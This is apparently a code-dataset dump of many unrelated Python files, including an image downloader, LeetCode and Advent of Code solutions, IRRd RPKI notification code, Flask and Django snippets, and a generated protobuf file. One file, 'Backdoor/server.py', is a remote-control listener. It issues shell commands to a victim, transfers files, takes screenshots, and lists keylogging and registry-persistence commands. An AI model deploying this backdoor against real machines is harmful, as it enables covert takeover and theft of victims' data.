return None
try:
resp = requests.get(img_url)
# pylint: disable=invalid-name
except requests.ConnectionError as ce:
print('{}: Failed to download Testbed image: {}'.format(timestamp, ce),
file=sys.stderr)
return None
return resp.content
def main():
"""Module main function."""
image = download_image()
if not image:
print('')
return 1
helsinki = pytz.timezone('Europe/Helsinki')
filename = 'testbed-{}.png'.format(
helsinki.localize(datetime.now()).strftime('%Y-%m-%dT%H:%M%z'))
with open(filename, 'wb') as tb_image:
tb_image.write(image)
print(filename)
return 0
main()
| en | 0.632281 | #!/usr/bin/env python3 A script for downloading the current FMI Testbed image. Prints an empty string on failure and a filename where the latest Testbed image is stored on success. # See PIP requirements from testbed_image_requirements.txt Downloads the latest FMI Testbed image. Returns the image data on success and None otherwise. # pylint: disable=invalid-name # pylint: disable=invalid-name # pylint: disable=invalid-name Module main function. | 2.716533 | 3 |
math/linereflection.py | mengyangbai/leetcode | 0 | 6623635 | class Solution:
def isReflected(self, points):
if (not points):
return True
dic = {}
sumx = 0
lenwithoutdup = 0
for point in points:
if point[1] not in dic:
dic[point[1]] = {point[0]}
sumx += point[0]
lenwithoutdup += 1
else:
if point[0] not in dic[point[1]]:
dic[point[1]].add(point[0])
sumx += point[0]
lenwithoutdup += 1
#print sumx, lenwithoutdup
avgx = float(sumx)/lenwithoutdup
for item in dic:
lst = list(dic[item])
lst.sort()
i, j = 0, len(lst)-1 # two pointers
while i <= j:
#print lst[i], avgx, lst[j]
if lst[i] - avgx != avgx - lst[j]:
return False
i += 1
j -= 1
return True
class betterSolution:
def isReflected(self, points: [[int]]) -> bool:
if not points:
return True
midx = (min(x for x, _ in points) + max(x for x, _ in points))/2
p = set(map(tuple, points))
return all((2 * midx-x, y) in p for x, y in points)
| class Solution:
def isReflected(self, points):
if (not points):
return True
dic = {}
sumx = 0
lenwithoutdup = 0
for point in points:
if point[1] not in dic:
dic[point[1]] = {point[0]}
sumx += point[0]
lenwithoutdup += 1
else:
if point[0] not in dic[point[1]]:
dic[point[1]].add(point[0])
sumx += point[0]
lenwithoutdup += 1
#print sumx, lenwithoutdup
avgx = float(sumx)/lenwithoutdup
for item in dic:
lst = list(dic[item])
lst.sort()
i, j = 0, len(lst)-1 # two pointers
while i <= j:
#print lst[i], avgx, lst[j]
if lst[i] - avgx != avgx - lst[j]:
return False
i += 1
j -= 1
return True
class betterSolution:
def isReflected(self, points: [[int]]) -> bool:
if not points:
return True
midx = (min(x for x, _ in points) + max(x for x, _ in points))/2
p = set(map(tuple, points))
return all((2 * midx-x, y) in p for x, y in points)
| en | 0.269796 | #print sumx, lenwithoutdup # two pointers #print lst[i], avgx, lst[j] | 3.23208 | 3 |
irrd/rpki/notifications.py | mirceaulinic/irrd | 94 | 6623636 | import itertools
import logging
from collections import defaultdict
from typing import Dict, List, Set
from irrd.conf import get_setting
from irrd.rpki.status import RPKIStatus
from irrd.rpsl.parser import RPSLObject
from irrd.rpsl.rpsl_objects import rpsl_object_from_text
from irrd.storage.database_handler import DatabaseHandler
from irrd.storage.queries import RPSLDatabaseQuery
from irrd.utils.email import send_email
logger = logging.getLogger(__name__)
def notify_rpki_invalid_owners(database_handler: DatabaseHandler,
rpsl_dicts_now_invalid: List[Dict[str, str]]) -> int:
"""
Notify the owners/contacts of newly RPKI invalid objects.
Expects a list of objects, each a dict with their properties.
Contacts are resolved as any mnt-nfy, or any email address on any
tech-c or admin-c, of any maintainer of the object.
One email is sent per email address.
"""
if not get_setting('rpki.notify_invalid_enabled'):
return 0
rpsl_objs = []
for obj in rpsl_dicts_now_invalid:
source = obj['source']
authoritative = get_setting(f'sources.{source}.authoritative')
if authoritative and obj['rpki_status'] == RPKIStatus.invalid:
rpsl_objs.append(rpsl_object_from_text(obj['object_text']))
if not rpsl_objs:
return 0
sources = set([obj.parsed_data['source'] for obj in rpsl_objs])
mntner_emails_by_source = {}
for source in sources:
# For each source, a multi-step process is run to fill this
# dict with the contact emails for each mntner.
mntner_emails = defaultdict(set)
# Step 1: retrieve all relevant maintainers from the DB
mntner_pks = set(itertools.chain(*[
obj.parsed_data.get('mnt-by', [])
for obj in rpsl_objs
if obj.parsed_data['source'] == source
]))
query = RPSLDatabaseQuery(['rpsl_pk', 'parsed_data']).sources([source]).rpsl_pks(mntner_pks).object_classes(['mntner'])
mntners = list(database_handler.execute_query(query))
# Step 2: any mnt-nfy on these maintainers is a contact address
for mntner in mntners:
mntner_emails[mntner['rpsl_pk']].update(mntner['parsed_data'].get('mnt-nfy', []))
# Step 3: extract the contact handles for each maintainer
mntner_contacts = {
m['rpsl_pk']: m['parsed_data'].get('tech-c', []) + m['parsed_data'].get('admin-c', [])
for m in mntners
}
# Step 4: retrieve all these contacts from the DB in bulk,
# and extract their e-mail addresses
contact_pks = set(itertools.chain(*mntner_contacts.values()))
query = RPSLDatabaseQuery(['rpsl_pk', 'parsed_data']).sources([source]).rpsl_pks(contact_pks).object_classes(['role', 'person'])
contacts = {
r['rpsl_pk']: r['parsed_data'].get('e-mail', [])
for r in database_handler.execute_query(query)
}
# Step 5: use the contacts per maintainer, and emails per contact
# to create a flattened list of emails per maintainer
for mntner_pk, mntner_contacts in mntner_contacts.items():
for contact_pk in mntner_contacts:
try:
mntner_emails[mntner_pk].update(contacts[contact_pk])
except KeyError:
pass
mntner_emails_by_source[source] = mntner_emails
# With mntners_emails_by_source filled with per source, per maintainer,
# all relevant emails, categorise the RPSL objects on which email
# addresses they need to be sent to.
objs_per_email: Dict[str, Set[RPSLObject]] = defaultdict(set)
for rpsl_obj in rpsl_objs:
mntners = rpsl_obj.parsed_data.get('mnt-by', [])
source = rpsl_obj.parsed_data['source']
for mntner_pk in mntners:
try:
for email in mntner_emails_by_source[source][mntner_pk]:
objs_per_email[email].add(rpsl_obj)
except KeyError: # pragma: no cover
pass
header_template = get_setting('rpki.notify_invalid_header', '')
subject_template = get_setting('rpki.notify_invalid_subject', '').replace('\n', ' ')
for email, objs in objs_per_email.items():
sources_str = ', '.join(set([obj.parsed_data['source'] for obj in objs]))
subject = subject_template.format(sources_str=sources_str, object_count=len(objs))
body = header_template.format(sources_str=sources_str, object_count=len(objs))
body += '\nThe following objects are affected:\n'
body += '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n'
for rpsl_obj in objs:
body += rpsl_obj.render_rpsl_text() + '\n'
body += '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
try:
send_email(email, subject, body)
except Exception as e: # pragma: no cover
logger.warning(f'Unable to send RPKI invalid notification to {email}: {e}')
return len(objs_per_email.keys())
| import itertools
import logging
from collections import defaultdict
from typing import Dict, List, Set
from irrd.conf import get_setting
from irrd.rpki.status import RPKIStatus
from irrd.rpsl.parser import RPSLObject
from irrd.rpsl.rpsl_objects import rpsl_object_from_text
from irrd.storage.database_handler import DatabaseHandler
from irrd.storage.queries import RPSLDatabaseQuery
from irrd.utils.email import send_email
logger = logging.getLogger(__name__)
def notify_rpki_invalid_owners(database_handler: DatabaseHandler,
rpsl_dicts_now_invalid: List[Dict[str, str]]) -> int:
"""
Notify the owners/contacts of newly RPKI invalid objects.
Expects a list of objects, each a dict with their properties.
Contacts are resolved as any mnt-nfy, or any email address on any
tech-c or admin-c, of any maintainer of the object.
One email is sent per email address.
"""
if not get_setting('rpki.notify_invalid_enabled'):
return 0
rpsl_objs = []
for obj in rpsl_dicts_now_invalid:
source = obj['source']
authoritative = get_setting(f'sources.{source}.authoritative')
if authoritative and obj['rpki_status'] == RPKIStatus.invalid:
rpsl_objs.append(rpsl_object_from_text(obj['object_text']))
if not rpsl_objs:
return 0
sources = set([obj.parsed_data['source'] for obj in rpsl_objs])
mntner_emails_by_source = {}
for source in sources:
# For each source, a multi-step process is run to fill this
# dict with the contact emails for each mntner.
mntner_emails = defaultdict(set)
# Step 1: retrieve all relevant maintainers from the DB
mntner_pks = set(itertools.chain(*[
obj.parsed_data.get('mnt-by', [])
for obj in rpsl_objs
if obj.parsed_data['source'] == source
]))
query = RPSLDatabaseQuery(['rpsl_pk', 'parsed_data']).sources([source]).rpsl_pks(mntner_pks).object_classes(['mntner'])
mntners = list(database_handler.execute_query(query))
# Step 2: any mnt-nfy on these maintainers is a contact address
for mntner in mntners:
mntner_emails[mntner['rpsl_pk']].update(mntner['parsed_data'].get('mnt-nfy', []))
# Step 3: extract the contact handles for each maintainer
mntner_contacts = {
m['rpsl_pk']: m['parsed_data'].get('tech-c', []) + m['parsed_data'].get('admin-c', [])
for m in mntners
}
# Step 4: retrieve all these contacts from the DB in bulk,
# and extract their e-mail addresses
contact_pks = set(itertools.chain(*mntner_contacts.values()))
query = RPSLDatabaseQuery(['rpsl_pk', 'parsed_data']).sources([source]).rpsl_pks(contact_pks).object_classes(['role', 'person'])
contacts = {
r['rpsl_pk']: r['parsed_data'].get('e-mail', [])
for r in database_handler.execute_query(query)
}
# Step 5: use the contacts per maintainer, and emails per contact
# to create a flattened list of emails per maintainer
for mntner_pk, mntner_contacts in mntner_contacts.items():
for contact_pk in mntner_contacts:
try:
mntner_emails[mntner_pk].update(contacts[contact_pk])
except KeyError:
pass
mntner_emails_by_source[source] = mntner_emails
# With mntners_emails_by_source filled with per source, per maintainer,
# all relevant emails, categorise the RPSL objects on which email
# addresses they need to be sent to.
objs_per_email: Dict[str, Set[RPSLObject]] = defaultdict(set)
for rpsl_obj in rpsl_objs:
mntners = rpsl_obj.parsed_data.get('mnt-by', [])
source = rpsl_obj.parsed_data['source']
for mntner_pk in mntners:
try:
for email in mntner_emails_by_source[source][mntner_pk]:
objs_per_email[email].add(rpsl_obj)
except KeyError: # pragma: no cover
pass
header_template = get_setting('rpki.notify_invalid_header', '')
subject_template = get_setting('rpki.notify_invalid_subject', '').replace('\n', ' ')
for email, objs in objs_per_email.items():
sources_str = ', '.join(set([obj.parsed_data['source'] for obj in objs]))
subject = subject_template.format(sources_str=sources_str, object_count=len(objs))
body = header_template.format(sources_str=sources_str, object_count=len(objs))
body += '\nThe following objects are affected:\n'
body += '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n'
for rpsl_obj in objs:
body += rpsl_obj.render_rpsl_text() + '\n'
body += '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
try:
send_email(email, subject, body)
except Exception as e: # pragma: no cover
logger.warning(f'Unable to send RPKI invalid notification to {email}: {e}')
return len(objs_per_email.keys())
| en | 0.855802 | Notify the owners/contacts of newly RPKI invalid objects. Expects a list of objects, each a dict with their properties. Contacts are resolved as any mnt-nfy, or any email address on any tech-c or admin-c, of any maintainer of the object. One email is sent per email address. # For each source, a multi-step process is run to fill this # dict with the contact emails for each mntner. # Step 1: retrieve all relevant maintainers from the DB # Step 2: any mnt-nfy on these maintainers is a contact address # Step 3: extract the contact handles for each maintainer # Step 4: retrieve all these contacts from the DB in bulk, # and extract their e-mail addresses # Step 5: use the contacts per maintainer, and emails per contact # to create a flattened list of emails per maintainer # With mntners_emails_by_source filled with per source, per maintainer, # all relevant emails, categorise the RPSL objects on which email # addresses they need to be sent to. # pragma: no cover # pragma: no cover | 2.382303 | 2 |
Python/Ex028.py | renato-rt/Python | 0 | 6623637 | <gh_stars>0
from time import sleep
from random import randint
print('\033[1;34;47m-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\033[m')
print('Vou pensar em um número entre 0 e 5. Tente advinhar...')
print('\033[1;34;47m-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\033[m')
user = int(input('Em qual número estou pensando? '))
print('Processando...')
sleep(1)
lista = randint(0, 5)
if user == lista:
print('Parabéns você acertou!!!')
else:
print('Lamento, eu pensei no número {}, tente outra vez.'.format(lista)) | from time import sleep
from random import randint
print('\033[1;34;47m-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\033[m')
print('Vou pensar em um número entre 0 e 5. Tente advinhar...')
print('\033[1;34;47m-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\033[m')
user = int(input('Em qual número estou pensando? '))
print('Processando...')
sleep(1)
lista = randint(0, 5)
if user == lista:
print('Parabéns você acertou!!!')
else:
print('Lamento, eu pensei no número {}, tente outra vez.'.format(lista)) | none | 1 | 3.683389 | 4 | |
src/day10_mp.py | dev-mbusch/adventofcode2020 | 0 | 6623638 | <reponame>dev-mbusch/adventofcode2020
with open("input_files\day10_input_mp.txt") as file:
input = [int(value) for value in file.read().split("\n")]
# input = '''28
# 33
# 18
# 42
# 31
# 14
# 46
# 20
# 48
# 47
# 24
# 23
# 49
# 45
# 19
# 38
# 39
# 11
# 1
# 32
# 25
# 35
# 8
# 17
# 7
# 9
# 4
# 2
# 34
# 10
# 3'''
# input = input.split("\n")
# input = [int(value) for value in input]
# print(input)
input.sort()
jolt_differences = [-1*(input[count-1] - jolt) for count, jolt in enumerate(input)]
# add charging outlet
jolt_differences[0] = input[0]
# add device's built in adapter
jolt_differences.append(3)
print("Solution part 1: ", jolt_differences.count(1) * jolt_differences.count(3))
# Part 2
# cut list into sublists with only 1 step jolt differences
subsequences = []
start = 0
end = int()
for count, difference in enumerate(jolt_differences):
if difference == 3:
end = count
subsequences.append(jolt_differences[start:end])
start = end
# number of combinations matches fibonacci sequence
def tribonacci(signature, n):
res = signature[:n]
for i in range(n - 3): res.append(sum(res[-3:]))
return res
count_ones = []
for subsequence in subsequences:
count_ones.append(subsequence.count(1))
solution2 = 1
for value in count_ones:
if value > 0:
solution2 *= max(tribonacci([0,0,1], value + 3))
print("Solution part 2: ", solution2) | with open("input_files\day10_input_mp.txt") as file:
input = [int(value) for value in file.read().split("\n")]
# input = '''28
# 33
# 18
# 42
# 31
# 14
# 46
# 20
# 48
# 47
# 24
# 23
# 49
# 45
# 19
# 38
# 39
# 11
# 1
# 32
# 25
# 35
# 8
# 17
# 7
# 9
# 4
# 2
# 34
# 10
# 3'''
# input = input.split("\n")
# input = [int(value) for value in input]
# print(input)
input.sort()
jolt_differences = [-1*(input[count-1] - jolt) for count, jolt in enumerate(input)]
# add charging outlet
jolt_differences[0] = input[0]
# add device's built in adapter
jolt_differences.append(3)
print("Solution part 1: ", jolt_differences.count(1) * jolt_differences.count(3))
# Part 2
# cut list into sublists with only 1 step jolt differences
subsequences = []
start = 0
end = int()
for count, difference in enumerate(jolt_differences):
if difference == 3:
end = count
subsequences.append(jolt_differences[start:end])
start = end
# number of combinations matches fibonacci sequence
def tribonacci(signature, n):
res = signature[:n]
for i in range(n - 3): res.append(sum(res[-3:]))
return res
count_ones = []
for subsequence in subsequences:
count_ones.append(subsequence.count(1))
solution2 = 1
for value in count_ones:
if value > 0:
solution2 *= max(tribonacci([0,0,1], value + 3))
print("Solution part 2: ", solution2) | en | 0.528251 | # input = '''28 # 33 # 18 # 42 # 31 # 14 # 46 # 20 # 48 # 47 # 24 # 23 # 49 # 45 # 19 # 38 # 39 # 11 # 1 # 32 # 25 # 35 # 8 # 17 # 7 # 9 # 4 # 2 # 34 # 10 # 3''' # input = input.split("\n") # input = [int(value) for value in input] # print(input) # add charging outlet # add device's built in adapter # Part 2 # cut list into sublists with only 1 step jolt differences # number of combinations matches fibonacci sequence | 3.358563 | 3 |
app.py | jhanley-com/google-cloud-run-getting-started-python-flask | 5 | 6623639 | <reponame>jhanley-com/google-cloud-run-getting-started-python-flask<filename>app.py
import os
import logging
from flask import Flask
# Change the format of messages logged to Stackdriver
logging.basicConfig(format='%(message)s', level=logging.INFO)
app = Flask(__name__)
@app.route('/')
def home():
html = """
<html>
<head>
<title>
Google Cloud Run - Sample Python Flask Example
</title>
</head>
<body>
<p>Hello Google Cloud Run World!</p>
<a href="https://cloud.google.com/run/" target="_blank">Google Cloud Run Website</a>
</body>
</html>
"""
return html
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=int(os.environ.get('PORT', 8080)))
| import os
import logging
from flask import Flask
# Change the format of messages logged to Stackdriver
logging.basicConfig(format='%(message)s', level=logging.INFO)
app = Flask(__name__)
@app.route('/')
def home():
html = """
<html>
<head>
<title>
Google Cloud Run - Sample Python Flask Example
</title>
</head>
<body>
<p>Hello Google Cloud Run World!</p>
<a href="https://cloud.google.com/run/" target="_blank">Google Cloud Run Website</a>
</body>
</html>
"""
return html
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=int(os.environ.get('PORT', 8080))) | en | 0.301468 | # Change the format of messages logged to Stackdriver <html> <head> <title> Google Cloud Run - Sample Python Flask Example </title> </head> <body> <p>Hello Google Cloud Run World!</p> <a href="https://cloud.google.com/run/" target="_blank">Google Cloud Run Website</a> </body> </html> | 2.683525 | 3 |
tests/test_OcsGenericEntityCli.py | lsst-ts/ts_ocs_sequencer | 0 | 6623640 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# +
# import(s)
# -
from OcsGenericEntityCli import *
# +
# +
# __doc__ string
# _
__doc__ = """test of OcsGenericEntityCli"""
# +
# function: test_cli()
# -
def test_cli():
cli = None
try:
cli = OcsGenericEntityCli()
except OcsGenericEntityException:
pass
if cli:
assert True
else:
assert False
# +
# function: test_parse_cli()
# -
def test_parse_cli():
cli = None
try:
cli = OcsGenericEntityCli()
cli.execute()
except OcsGenericEntityException as f:
print(f.errstr)
if cli:
assert True
else:
assert False
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
# +
# import(s)
# -
from OcsGenericEntityCli import *
# +
# +
# __doc__ string
# _
__doc__ = """test of OcsGenericEntityCli"""
# +
# function: test_cli()
# -
def test_cli():
cli = None
try:
cli = OcsGenericEntityCli()
except OcsGenericEntityException:
pass
if cli:
assert True
else:
assert False
# +
# function: test_parse_cli()
# -
def test_parse_cli():
cli = None
try:
cli = OcsGenericEntityCli()
cli.execute()
except OcsGenericEntityException as f:
print(f.errstr)
if cli:
assert True
else:
assert False
| en | 0.260135 | #!/usr/bin/env python # -*- coding: utf-8 -*- # + # import(s) # - # + # + # __doc__ string # _ test of OcsGenericEntityCli # + # function: test_cli() # - # + # function: test_parse_cli() # - | 2.265396 | 2 |
signals/signals/apps/related/models.py | gonzaloamadio/django-signals2 | 0 | 6623641 | from django.conf import settings
from django.db import models
from django.utils.translation import ugettext_lazy as _
class RelatedModel(models.Model):
"""
Abstract model with basic info
"""
title = models.CharField(max_length=128, db_index=True, verbose_name='Name')
company = models.ForeignKey('entities.Company', on_delete=models.SET_NULL, verbose_name="Company", null=True, blank=True)
class Meta:
abstract = True
def __str__(self):
return self.title
class Job(RelatedModel):
"""
Proposals of jobs
Now we are not adding any new field. But we leave it open
"""
class Meta:
verbose_name_plural = 'jobs'
| from django.conf import settings
from django.db import models
from django.utils.translation import ugettext_lazy as _
class RelatedModel(models.Model):
"""
Abstract model with basic info
"""
title = models.CharField(max_length=128, db_index=True, verbose_name='Name')
company = models.ForeignKey('entities.Company', on_delete=models.SET_NULL, verbose_name="Company", null=True, blank=True)
class Meta:
abstract = True
def __str__(self):
return self.title
class Job(RelatedModel):
"""
Proposals of jobs
Now we are not adding any new field. But we leave it open
"""
class Meta:
verbose_name_plural = 'jobs'
| en | 0.837208 | Abstract model with basic info Proposals of jobs Now we are not adding any new field. But we leave it open | 2.38551 | 2 |
Backdoor/server.py | Cyzerx/Penetration-testing-with-Python3 | 0 | 6623642 | <filename>Backdoor/server.py<gh_stars>0
import socket
import termcolor
import json
import os
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
count = 0
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command[:8] == 'download':
download_file(command[9:])
elif command[:10] == 'screenshot':
f = open('screenshot%d' % (count), 'wb')
target.settimeout(3)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
count += 1
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit session with the Target
clear --> Clear the Screen
cd *Directory Name* --> Changes directory on target system
upload *File Name* --> Upload file to the target machine
download *File Name* --> Download file from target machine
keylog_start --> Start the KeyLogger
keylog_dump --> Print KeyStrokes that the target inputted
keylog_stop --> Stop and self destruct KeyLogger file
presistence *RegName* *FileName* --> Create Persistence in registry (starting automatically on startup)'''),'green')
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPv4 and TCP connection
sock.bind(('127.0.0.1', 5555))
print(termcolor.colored('[+] Listening for the incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target connected from: ' + str(ip), 'green'))
target_communication()
| <filename>Backdoor/server.py<gh_stars>0
import socket
import termcolor
import json
import os
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
count = 0
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command[:8] == 'download':
download_file(command[9:])
elif command[:10] == 'screenshot':
f = open('screenshot%d' % (count), 'wb')
target.settimeout(3)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
count += 1
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit session with the Target
clear --> Clear the Screen
cd *Directory Name* --> Changes directory on target system
upload *File Name* --> Upload file to the target machine
download *File Name* --> Download file from target machine
keylog_start --> Start the KeyLogger
keylog_dump --> Print KeyStrokes that the target inputted
keylog_stop --> Stop and self destruct KeyLogger file
presistence *RegName* *FileName* --> Create Persistence in registry (starting automatically on startup)'''),'green')
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPv4 and TCP connection
sock.bind(('127.0.0.1', 5555))
print(termcolor.colored('[+] Listening for the incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target connected from: ' + str(ip), 'green'))
target_communication()
| en | 0.651109 | \n quit --> Quit session with the Target clear --> Clear the Screen cd *Directory Name* --> Changes directory on target system upload *File Name* --> Upload file to the target machine download *File Name* --> Download file from target machine keylog_start --> Start the KeyLogger keylog_dump --> Print KeyStrokes that the target inputted keylog_stop --> Stop and self destruct KeyLogger file presistence *RegName* *FileName* --> Create Persistence in registry (starting automatically on startup) #IPv4 and TCP connection | 2.613954 | 3 |
part2/ch11_protocol_buffer/pbuf_message_pb2.py | sorrowhill/17techs | 8 | 6623643 | <reponame>sorrowhill/17techs
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: pbuf_message.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='pbuf_message.proto',
package='',
syntax='proto3',
serialized_options=None,
serialized_pb=_b('\n\x12pbuf_message.proto\"\x1a\n\x07Object2\x12\x0f\n\x07number2\x18\x01 \x01(\x03\"1\n\x06Object\x12\x0c\n\x04str2\x18\x01 \x01(\t\x12\x19\n\x07object2\x18\x02 \x01(\x0b\x32\x08.Object2\"\x8b\x01\n\x0fProtobufMessage\x12\x0e\n\x06number\x18\x01 \x01(\x03\x12\n\n\x02pi\x18\x02 \x01(\x01\x12\x0b\n\x03str\x18\x03 \x01(\t\x12\x10\n\x08null_key\x18\x04 \x01(\t\x12\x17\n\x06object\x18\x05 \x01(\x0b\x32\x07.Object\x12\x11\n\tnum_array\x18\x06 \x03(\x03\x12\x11\n\tstr_array\x18\x07 \x03(\tb\x06proto3')
)
_OBJECT2 = _descriptor.Descriptor(
name='Object2',
full_name='Object2',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='number2', full_name='Object2.number2', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=22,
serialized_end=48,
)
_OBJECT = _descriptor.Descriptor(
name='Object',
full_name='Object',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='str2', full_name='Object.str2', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='object2', full_name='Object.object2', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=50,
serialized_end=99,
)
_PROTOBUFMESSAGE = _descriptor.Descriptor(
name='ProtobufMessage',
full_name='ProtobufMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='number', full_name='ProtobufMessage.number', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='pi', full_name='ProtobufMessage.pi', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='str', full_name='ProtobufMessage.str', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='null_key', full_name='ProtobufMessage.null_key', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='object', full_name='ProtobufMessage.object', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='num_array', full_name='ProtobufMessage.num_array', index=5,
number=6, type=3, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='str_array', full_name='ProtobufMessage.str_array', index=6,
number=7, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=102,
serialized_end=241,
)
_OBJECT.fields_by_name['object2'].message_type = _OBJECT2
_PROTOBUFMESSAGE.fields_by_name['object'].message_type = _OBJECT
DESCRIPTOR.message_types_by_name['Object2'] = _OBJECT2
DESCRIPTOR.message_types_by_name['Object'] = _OBJECT
DESCRIPTOR.message_types_by_name['ProtobufMessage'] = _PROTOBUFMESSAGE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Object2 = _reflection.GeneratedProtocolMessageType('Object2', (_message.Message,), {
'DESCRIPTOR' : _OBJECT2,
'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:Object2)
})
_sym_db.RegisterMessage(Object2)
Object = _reflection.GeneratedProtocolMessageType('Object', (_message.Message,), {
'DESCRIPTOR' : _OBJECT,
'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:Object)
})
_sym_db.RegisterMessage(Object)
ProtobufMessage = _reflection.GeneratedProtocolMessageType('ProtobufMessage', (_message.Message,), {
'DESCRIPTOR' : _PROTOBUFMESSAGE,
